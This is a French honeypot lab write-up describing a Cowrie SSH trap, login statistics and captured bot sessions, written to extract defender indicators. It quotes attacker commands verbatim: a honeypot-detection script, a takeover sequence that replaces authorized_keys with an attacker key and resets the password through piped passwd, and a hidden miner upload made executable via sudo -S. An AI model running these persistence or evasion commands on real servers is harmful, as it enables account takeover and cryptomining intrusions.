Introduction
La première chose dont je me suis rendu compte en préparant ce lab, c’est que ce n’est pas aussi simple qu’il y paraît. Dès le départ, je savais que la sécurité était essentielle pour garantir qu’un attaquant reste confiné. Ma surprise est venue de la variété des options, des choix et des alternatives.
L’objectif ici est d’apprendre, donc le premier choix a été facile. Comme c’était ma première vraie expérience, j’ai choisi de réduire les risques liés à mon manque d’expérience. Cela a entraîné deux décisions :
- Utiliser un VPS plutôt que mon home lab. Si les choses tournent mal, l’hébergeur du VPS coupera probablement mon serveur avant même que je m’en rende compte, et dans ce cas, c’est plutôt une bonne chose.
- Utiliser un logiciel de honeypot reconnu plutôt que de monter une vraie VM ou un vrai conteneur. Ce serait plus réaliste, mais une application de honeypot est plus simple et plus sûre.
L’architecture était donc décidée : un VPS sous Debian, avec Cowrie comme honeypot SSH. Cowrie analyse chaque commande, répond avec sa propre implémentation ou à partir d’un faux système de fichiers, et enregistre tout : identifiants, commandes, sessions TTY et fichiers.
Cette conception est le filet de sécurité, et c’est aussi sa faiblesse. Un shell écrit en Python n’est pas bash et, comme nous allons le voir, certains bots savent très bien faire la différence.
La mise en place
D’abord, le hardening de l’hôte
Cowrie peut fonctionner tel quel, mais l’hôte en dessous est réel, j’ai donc appliqué un hardening avant d’installer quoi que ce soit :
- Trois utilisateurs : un pour ma connexion SSH distante, root, et
lab-usrpour faire tourner le honeypot, sans shell de connexion et avec des permissions minimales. - Le vrai SSH déplacé sur un port élevé, authentification par clé uniquement, pas de login root et quelques autres restrictions.
- fail2ban sur le vrai port SSH : 5 échecs en 10 minutes valent un bannissement de 2 heures.
- nftables avec une politique d’entrée qui rejette par défaut. Cowrie tourne avec un utilisateur non privilégié, il ne peut donc pas écouter sur le port 22. Il écoute sur le 2222. Une règle NAT redirige le 22 vers le 2222 pour que les attaquants trouvent la porte tout en gardant Cowrie non privilégié :
table ip nat {
chain prerouting {
type nat hook prerouting priority dstnat; policy accept;
tcp dport 22 redirect to :2222
}
}
Les paquets rejetés sont journalisés dans leur propre fichier avec rsyslog et maîtrisés avec logrotate, et journald a une taille plafonnée. Un honeypot attire beaucoup de bruit ; remplir le disque serait la façon la plus bête de perdre la machine.
L’installation par défaut de Debian comporte peu de services et il n’y a pas grand-chose de plus à supprimer ou à reconfigurer. Il n’y a même pas sudo. Donc, après avoir installé les derniers correctifs, c’est terminé.
Rendre Cowrie moins évidemment Cowrie
Tel quel, Cowrie présente un hostname par défaut et un système générique que reconnaît quiconque a déjà vu quelques instances de Cowrie. La deuxième étape a donc été de le faire répondre aux commandes courantes avec de vraies informations issues de l’hôte. J’ai lancé uname -a et ssh -V sur le VPS et copié les valeurs dans cowrie.cfg :
[honeypot]
hostname = ubuntu-4gb-hel3-2
contents_path = /opt/cowrie/honeyfs
txtcmds_path = /opt/cowrie/txtcmds
auth_class = UserDB
[shell]
kernel_version = 6.12.107+deb13-cloud-amd64
kernel_build_string = #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux
hardware_platform = x86_64
operating_system = GNU/Linux
ssh_version = OpenSSH_10.0p2 Debian-7+deb13u4, OpenSSL 3.5.7 9 Jun 2026
Ensuite, j’ai construit le contenu du faux système de fichiers (honeyfs). J’ai copié de vrais fichiers du VPS (/etc/passwd, group, shadow, hostname, issue, motd, os-release et les dotfiles de chaque répertoire personnel) et remplacé tout ce qui était propre au serveur. Les utilisateurs et les UID de passwd correspondent aux propriétaires des répertoires personnels, et shadow contient de vrais hashs yescrypt des mots de passe du honeypot (mkpasswd -m yescrypt). C’est cosmétique, mais cohérent.
Un détail qui m’a pris du temps : un fichier de honeyfs n’est affiché que si le chemin existe aussi dans l’index du système de fichiers de Cowrie, fs.pickle. Chaque répertoire et chaque fichier doivent aussi y être créés, avec fsctl :
fs.pickle:/home$ ls -l admin
-rwxr-xr-x 1 1000 1000 4096 2026-09-23 20:04 .bash_logout
-rwxr-xr-x 1 1000 1000 4096 2026-09-23 20:03 .bashrc
-rwxr-xr-x 1 1000 1000 4096 2026-09-23 20:03 .profile
Avec cela, un visiteur qui se connecte obtient une réponse comme celle-ci, qui correspond au vrai noyau du VPS :
$ uname -a
Linux ubuntu-4gb-hel3-2 6.12.107+deb13-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux
L’appât
J’ai lancé le honeypot avec six utilisateurs aux mots de passe simples tirés du dictionnaire rockyou, en pensant qu’ils seraient faciles à casser.
root:x:rootbeer2
admin:x:soloadmin
service:x:ciocolatax
deploy:x:chinesa78
backup:x:backup2022
john:x:changeme
Apparemment, ce n’était pas assez simple. Au dixième jour, après 112 604 tentatives de login, je n’avais aucune connexion réussie.
J’ai donc regardé les logins échoués, choisi l’un des mots de passe qui revenaient souvent et l’ai attribué à admin : Admin@123. J’ai redémarré Cowrie et cela n’a pas traîné, 31 minutes :
2026-10-03T12:13:27.461382Z [cowrie.core.config#info] Reading configuration from ['etc/cowrie.cfg']
2026-10-03T12:13:27.636459Z [cowrie.plugin#info] Cowrie Version 3.0.15
...
2026-10-03T12:44:40.183897Z [ssh,de8c13e21479,92.118.39.49] login attempt [admin/Admin@123] succeeded
Je l’ai laissé tourner encore 29 jours, soit 39 jours au total.
Ce fut la première leçon. Les bots n’utilisent pas rockyou ; je suppose qu’ils utilisent des listes courtes et triées de ce qui fonctionne sur de vrais serveurs. Un mot de passe « faible » au sens d’un dictionnaire n’est pas forcément un mot de passe qu’ils essaient. Il est possible qu’ils fassent tourner les mots de passe pour éviter les verrouillages de compte, mais je pense plutôt qu’ils utilisent des combinaisons utilisateur:mot de passe qui leur ont donné de bons résultats.
Spoiler : après tout ce temps, seul l’utilisateur admin a eu des connexions réussies.
Les chiffres
Quelques statistiques tirées des logs après 39 jours :
| métrique | valeur |
|---|---|
| tentatives de login | 865 818 |
| logins réussis | 3 232 |
| noms d’utilisateur distincts essayés | 10 965 |
| mots de passe distincts essayés | 130 665 |
| utilisateurs les plus essayés | tentatives | mots de passe les plus essayés | tentatives | |
|---|---|---|---|---|
| root | 117 178 | 123456 | 2 188 | |
| admin | 6 454 | password | 773 | |
| user | 1 655 | 123 | 731 | |
| ubuntu | 1 173 | 123456789 | 638 | |
| test | 372 | qwerty | 614 | |
| ubnt | 316 | 1234 | 454 | |
| debian | 304 | 111111 | 371 | |
| ftpuser | 289 | 12345678 | 362 | |
| postgres | 281 | 1 | 298 | |
| support | 246 | 12345 | 286 |
Sessions et IP sources, pour les 29 jours avec Admin@123 :
| métrique | valeur |
|---|---|
| sessions | 730 860 |
| IP sources uniques | 7 174 |
| sessions interactives (au moins une commande) | 94 |
| IP uniques avec une session interactive | 55 |
| séquences de commandes distinctes | 7 |
Quelques points ressortent :
rootest la cible. 13,5 % de toutes les tentatives visaientroot, plus de dix fois le total des neuf noms d’utilisateur suivants (11 090).- Les mots de passe sont courts et banals ; la longue traîne est énorme. 130 665 mots de passe distincts, mais le top dix est la liste que vous écririez de mémoire.
- Le volume est concentré. Les 20 IP les plus actives (0,28 % des sources) ont produit 421 069 sessions, soit 57,6 % du total. La première à elle seule a ouvert 91 359 sessions, environ une toutes les 30 secondes pendant un mois.
- Entrer n’est pas l’objectif de la plupart des bots. Sur 3 232 logins réussis, seuls 94 ont envoyé au moins une commande. Les 97 % restants se sont authentifiés puis sont partis. Mon interprétation est qu’il y a deux profils :
- Des vérificateurs d’identifiants qui collectent des logins valides pour que quelqu’un d’autre les utilise plus tard.
- Des bots qui vérifient la réponse SSH et identifient le honeypot.
- 94 sessions, 7 séquences de commandes. Toutes les sessions interactives ont utilisé
admin:Admin@123et appartiennent à l’une de seulement sept séquences de commandes distinctes. Personne n’a rien tapé à la main.
Ce qu’ils ont fait
J’ai regroupé les sessions interactives selon leur séquence exacte de commandes. Voici les sept groupes.
Groupes 1, 2 et 4 : une commande et au revoir (79 sessions)
Les trois groupes les plus importants ont lancé un seul uname puis se sont déconnectés :
| groupe | sessions | commande | sources |
|---|---|---|---|
| 1 | 42 | uname -s -v -n -r -m | 37 IP de 2 réseaux /24 |
| 2 | 29 | /bin/./uname -s -v -n -m | 2 IP |
| 4 | 8 | uname -a | 6 IP |
Le groupe 1 est la même séquence de commandes depuis 37 IP de deux réseaux /24, partageant toutes la même paire d’empreintes HASSH : très probablement un seul outil tournant depuis de nombreux hôtes. Ils ne s’arrêtent pas une fois entrés. L’une de ces IP a échoué 801 fois, s’est connectée, a lancé uname, a échoué 1 190 fois de plus, s’est reconnectée, et a répété le cycle une fois de plus. On dirait un bot qui parcourt toute sa liste à chaque passage, sans mémoire de ce qui a déjà fonctionné. |
Le groupe 2 appelle /bin/./uname. Le /./ ne change rien pour le noyau ; c’est le même fichier.
Je suppose qu’inclure /./ dans le chemin est une façon de tester l’interpréteur de commandes. Si cela échoue, le bot sait qu’il est dans un honeypot ou dans une fausse session bash.
Toutes ces sessions cherchent l’architecture et le noyau de leur victime. Cela leur permet de choisir un payload, et aussi de décider si la cible correspond à leurs critères.
Groupe 3 : le détecteur de honeypot (12 sessions)
C’est le script le plus intéressant, et c’est là que mon Cowrie « réaliste » a échoué. Il arrive en un seul bloc, collecte des informations système et, dans une section littéralement nommée SHELL_BEHAVIOR, teste la façon dont le shell réagit aux erreurs. Le bloc semble être envoyé par l’attaquant sous forme d’une seule ligne de commande ; j’en ai modifié la mise en forme pour le rendre un peu plus lisible.
Afficher/Masquer le code
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
uname=$(uname -s -v -n -m 2>/dev/null ||
/bin/uname -s -v -n -m 2>/dev/null ||
/usr/bin/uname -s -v -n -m 2>/dev/null ||
busybox uname -s -v -n -m 2>/dev/null ||
( [ -f /proc/version ] && head -1 /proc/version |
cut -d' ' -f1 ) ||
( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release |
cut -d= -f2 | tr -d '"' ) || echo "")
arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null ||
/usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null ||
( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) ||
( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo &&
echo aarch64 ) ||
( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo &&
echo armv7l ) || echo "") uptime=$(cat /proc/uptime 2>/dev/null ||
busybox cat /proc/uptime 2>/dev/null)
cpus=$(nproc 2>/dev/null ||
/usr/bin/nproc 2>/dev/null ||
busybox nproc 2>/dev/null ||
grep -c "^processor" /proc/cpuinfo 2>/dev/null)
cpu_model=$( { lscpu 2>/dev/null |
awk -F: '/Model name/ {print $2}';
grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null |
cut -d: -f2-;
grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null |
cut -d: -f2-;
cat /proc/device-tree/model 2>/dev/null;
} |
sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' |
head -1 )
gpu_info=$( (lspci 2>/dev/null | grep -i vga;
lspci 2>/dev/null | grep -i nvidia;
busybox lspci 2>/dev/null | grep -i vga;
busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )
last_output=$(last 2>/dev/null)
filter_output=$( ( export LANG=C LC_ALL=C;
echo '===SHELL_BEHAVIOR===';
printf 'path_err=';
( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null ||
busybox head -c 250 2>/dev/null ||
dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null ||
busybox tr -d '\n' 2>/dev/null || cat );
printf '\n';
printf 'cmd_err=';
( xxxxxx 2>&1 || true ) |
( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null ||
dd bs=250 count=1 2>/dev/null ) |
( tr -d '\n' 2>/dev/null ||
busybox tr -d '\n' 2>/dev/null || cat );
printf '\n';
printf 'execute_err=';
out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter &&
chmod +x filter && ./filter && rm -rf filter' 2>&1);
case "$out" in *xxxxxx*) ;;
*) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter &&
chmod +x filter && ./filter && rm -rf filter' 2>&1);
case "$out" in *xxxxxx*) ;;
*) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter &&
chmod +x filter && ./filter && rm -rf filter' 2>&1);
case "$out" in *xxxxxx*) ;;
*) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter &&
chmod +x filter && ./filter && rm -rf filter' 2>&1 ||
sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter &&
chmod +x filter &&
./filter && rm -rf filter' 2>&1);
esac;
esac;
esac;
printf '%s' "$out" | ( head -c 250 2>/dev/null ||
busybox head -c 250 2>/dev/null ||
dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null ||
busybox tr -d '\n' 2>/dev/null || cat );
printf '\n';
echo '===DONE===' ) 2>&1 )
Sur une vraie machine Linux, path_err contient No such file or directory, cmd_err contient command not found et execute_err contient xxxxxx. Comme Cowrie émule le shell, il ne sait pas quoi faire de tout cela, et voici ce que mon honeypot a répondu :
awk: invalid option -- ':'
Try 'awk --help' for more information.
-bash: /usr/bin/sed: cannot execute binary file: Exec format error
head: invalid option -- '1'
xxxxxx
xxxxxx
-bash: syntax error near unexpected token `"$out"'
UNAME:Linux ubuntu-4gb-hel3-2 #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux x86_64
ARCH:x86_64
UPTIME:
CPUS:2
CPU_MODEL:
GPU:
FILTER:===SHELL_BEHAVIOR===
path_err=
cmd_err=
execute_err=
===DONE===
La sortie indique à l’attaquant que le shell est faux :
awk -F:ethead -1échouent : les implémentations de ces commandes dans Cowrie ne gèrent pas ces options.sedexiste dans le faux système de fichiers, mais Cowrie ne l’implémente pas, il répond doncExec format error. Une vraie machine x86_64 ne dit jamais cela de son propresed.UPTIMEest vide :cat /proc/uptimen’a rien renvoyé.CPU_MODELest vide parce que son pipeline passe parawk -F:etsed, qui échouent tous les deux.path_erretcmd_errsont vides. Les erreurs qui devraient y figurer n’y sont pas.- Une partie de la commande crée un fichier nommé
filteret l’exécute. Il s’est bien exécuté :xxxxxxest affiché deux fois, directement dans le terminal. Mais le parser de Cowrie bute sur lecaseimbriqué dans$(...)(syntax error near unexpected token), donc la sortie n’est jamais capturée etexecute_errreste vide.
Ma chaîne de noyau était parfaite, et cela n’a servi à rien. Le script ne demande jamais au système ce qu’il est ; il demande au shell comment il se comporte.
Les 12 sessions venaient de 8 IP et aucune n’est allée plus loin. Je suppose qu’il sert à vérifier s’il vaut la peine de télécharger un vrai payload et, comme la vérification échoue, il ne va pas plus loin. Mais l’une des IP revient, comme nous le verrons dans le dernier groupe.
Groupes 5 et 6 : prendre le contrôle du compte (2 sessions)
Deux sessions depuis des IP différentes, à cinq jours d’intervalle, ont exécuté une séquence identique. Les seules différences sont l’IP source, l’empreinte HASSH et le mot de passe qu’elles génèrent comme nouveau mot de passe d’admin.
cd ~; chattr -ia .ssh; lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
echo -e "Admin@123\nh7YtAsRcjPS2\nh7YtAsRcjPS2"|passwd|bash
cat /proc/cpuinfo | grep name | wc -l
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
crontab -l
...
L’ordre des opérations raconte l’histoire :
- Retirer l’attribut immuable de
.ssh(chattr -ia), au cas où un autre bot l’aurait verrouillé.lockrn’existe pas sur un système standard ; je ne sais pas à quoi cela fait référence. - Supprimer les clés existantes et installer la sienne. Celui qui était là avant est dehors.
- Changer le mot de passe pour une chaîne de 12 caractères. Le bot possède désormais le compte, et le prochain bot qui essaiera
Admin@123échouera. - Ce n’est qu’ensuite qu’il commence un inventaire : nombre de CPU, mémoire, crontab, disque.
Les commandes d’inventaire trahissent à nouveau le honeypot :
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
Intel(R) Xeon(R) CPU E5-2680 v4 @;
$ lscpu | grep Model
Model: 23
$ ls -lh $(which ls)
ls: cannot access /usr/bin/ls
/bin/ls: No such file or directory
$ top
E82: Cannot allocate any buffer, exiting...
$ w
15:26:37 up 13 days, 3:13, 1 user, load average: 0.00, 0.00, 0.00
La clé SSH et le commentaire mdrfckr, à la deuxième ligne du code, sont associés publiquement depuis des années au botnet de cryptominage Outlaw/Dota. Vous trouverez un article à ce sujet ici : https://securelist.com/outlaw-botnet/116444/
Groupe 7 : la livraison (1 session)
Le 31 octobre, 195.178.110.228 s’est connectée. Cette même IP avait déjà lancé le détecteur du groupe 3 contre mon honeypot les 20 et 23 octobre.
Cette fois, la session a commencé par un autre type de test. Chaque vérification affiche un marqueur aléatoire et demande au shell de calculer quelque chose :
printf '\n%s|%s\n' 'check_001836c6aac8b3f41ce975ff22f82610_small_math' "$((25*149+25))"
printf '\n%s|%s\n' 'check_001836c6aac8b3f41ce975ff22f82610_small_pid' "$$"
set -- 'check_..._arg1' 'check_..._arg2'; printf ... "$#|$1|$2"
f_check_...() { printf ... "$1|$#"; }; f_check_... 'check_..._function_value'
Expansion arithmétique (la réponse attendue est 3750), PID du shell, paramètres positionnels et fonction shell. Chaque test est exécuté deux fois, encapsulé dans sh -c et directement, puis deux fois de plus avec echo au lieu de printf. Ce sont des capacités qu’un vrai shell POSIX possède et qu’un émulateur de shell n’a pas forcément. Cowrie a échoué à presque tous :
admin@ubuntu-4gb-hel3-2:~$ echo 'check_dd09..._small_control|check_dd09...'
check_dd09..._small_control|check_dd09...
admin@ubuntu-4gb-hel3-2:~$ echo 'check_dd09..._small_math|'"$((754*31+35))"
-bash: 754*31+35: command not found
check_dd09..._small_math|
admin@ubuntu-4gb-hel3-2:~$ echo 'check_dd09..._small_pid|'"$$"
check_dd09..._small_pid|$$
admin@ubuntu-4gb-hel3-2:~$ set -- 'check_dd09..._arg1' 'check_dd09..._arg2'; echo 'check_dd09..._small_positional|'"$#|$1|$2"
COLUMNS=240
HOME=/home/admin
...
USER=admin
check_dd09..._small_positional|$#||
admin@ubuntu-4gb-hel3-2:~$ f_check_dd09...() { echo 'check_dd09..._small_function|'"$1|$#"; }; f_check_dd09... 'check_dd09..._function_value'
check_dd09..._small_function|check_dd09..._function_value|1
| vérification | vrai shell | Cowrie |
|---|---|---|
contrôle (echo d’un marqueur) | marqueur | marqueur |
$((754*31+35)) | 23409 | 754*31+35: command not found |
$$ | un PID | $$ littéral |
set -- + $#|$1|$2 | 2|arg1|arg2 | affiche l’environnement, puis $#|| |
| fonction shell | value|1 | value|1 |
toute vérification dans sh -c '...' | sortie | rien du tout, pas même le contrôle |
Cowrie interprète $((...)) comme une substitution de commande d’un sous-shell, il essaie donc d’exécuter 754*31+35 comme une commande. set avec des arguments est traité comme un simple set, qui affiche les variables. Et sh -c ne renvoie rien, quoi que vous lui passiez. Seul le test de la fonction a réussi. Le marqueur aléatoire de chaque ligne permet au script d’associer les réponses aux questions même si la sortie arrive mélangée ou partielle.
Puis est arrivé le fichier, envoyé via la session SSH elle-même (SFTP/SCP) :
[UPLOAD] .16 sha256=a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125
$ echo 'Admin@123' | sudo -S sh -c 'chmod +x '\''/home/admin/.16'\''' || echo 'Admin@123' | sudo -S chmod +x '/home/admin/.16' || sh -c 'chmod +x '\''/home/admin/.16'\''' || chmod +x '/home/admin/.16'
$ chmod +x '/home/admin/.16'
chmod: cannot access '/home/admin/.16': No such file or directory
Un fichier caché au nom dénué de sens, rendu exécutable par une chaîne de solutions de repli : d’abord avec sudo -S et le mot de passe de connexion transmis par pipe, puis sans sudo. Cowrie a gardé une copie du fichier mais ne l’a pas placé dans le faux système de fichiers, donc chmod n’a pas pu le trouver. Un indice de plus, et la session s’est arrêtée là.
Le fichier n’a jamais été exécuté, mais j’en ai gardé une copie. C’est un mineur malveillant, et vous trouverez plus de détails à son sujet sur VirusTotal.
Ce que voit le défenseur
L’un des avantages d’un honeypot est de collecter des indicateurs utiles ailleurs. De ce mois-ci, voici ceux que je rechercherais sur un vrai serveur :
- Les empreintes HASSH des clients attaquants :
2ec37a7c…(groupes 3 et 7) et03a80b21…(groupe 5). Elles identifient la bibliothèque SSH, pas l’acteur : plus utiles pour alerter ou pour une liste blanche que pour bloquer à l’aveugle. - Un
authorized_keyscontenant une clé avec le commentairemdrfckr, ou des répertoires.sshdont l’attribut immuable a été modifié (chattr -ia .sshdans l’historique du shell). passwdrecevant son entrée depuis un pipe :echo -e "old\nnew\nnew" | passwd.sudo -Savec le mot de passe transmis par pipe depuisecho.- Des dotfiles exécutables aux noms courts et dénués de sens dans les répertoires personnels (
/home/*/.16). - Une connexion depuis une IP suivie d’un seul
unameet d’une déconnexion immédiate : ce n’est pas une attaque, mais l’étape d’inventaire qui en précède une. - Les hashs identifiés peuvent servir à détecter des intrusions. Dans ce cas, le hash du mineur :
a151d3f4….
Et de l’autre côté du miroir, les indices que mon honeypot a laissé échapper, du moins coûteux au plus coûteux à vérifier pour un bot :
Exec format errorsur des binaires standard (sed,df)sh -cne renvoie rien ;$((...)),$$etset --cassés- Matériel incohérent : nom de CPU Xeon contre
lscpumodèle 23 lsne se trouve pas lui-même ;toprépond avec une erreur de vim- Options non prises en charge (
awk -F:,head -1) /proc/uptimevide- Messages d’erreur absents ;
$(...)aveccasene passe pas l’analyse - Fichier envoyé absent du système de fichiers
Ils ne sont pas tous faciles à corriger, mais quand la correction consiste simplement à créer un fichier, l’effort peut valoir la peine.
Conclusion
Aucun de ceux qui ont attaqué mon honeypot n’était une personne. Ce honeypot offre une vue directe sur la façon dont l’automatisation décide si une machine mérite le payload. La version du noyau que j’avais copiée avec tant de soin, pour qu’un attaquant obtienne une sortie réelle, était l’élément le moins important. Les attaquants ont testé le shell pour provoquer une erreur susceptible de leur donner des informations. Le réalisme n’est pas dans la bannière ; il est dans les messages d’erreur.
La valeur principale est la collecte d’informations pour les défenseurs, du moins avec cette implémentation. Pour étudier l’activité et collecter des malwares, une autre implémentation serait préférable : probablement une vraie machine avec un vrai shell, mais c’est une implémentation totalement différente, avec des risques de sécurité importants. Pour l’instant, je vais ajouter quelques comptes à mon implémentation et la laisser tourner encore un peu pour collecter davantage de données.
Pensez-vous que j’ai raté quelque chose, ou que je pourrais faire autre chose de ces données ? Dites-le-moi : le honeypot tourne à nouveau pour collecter davantage de logs.
:wq
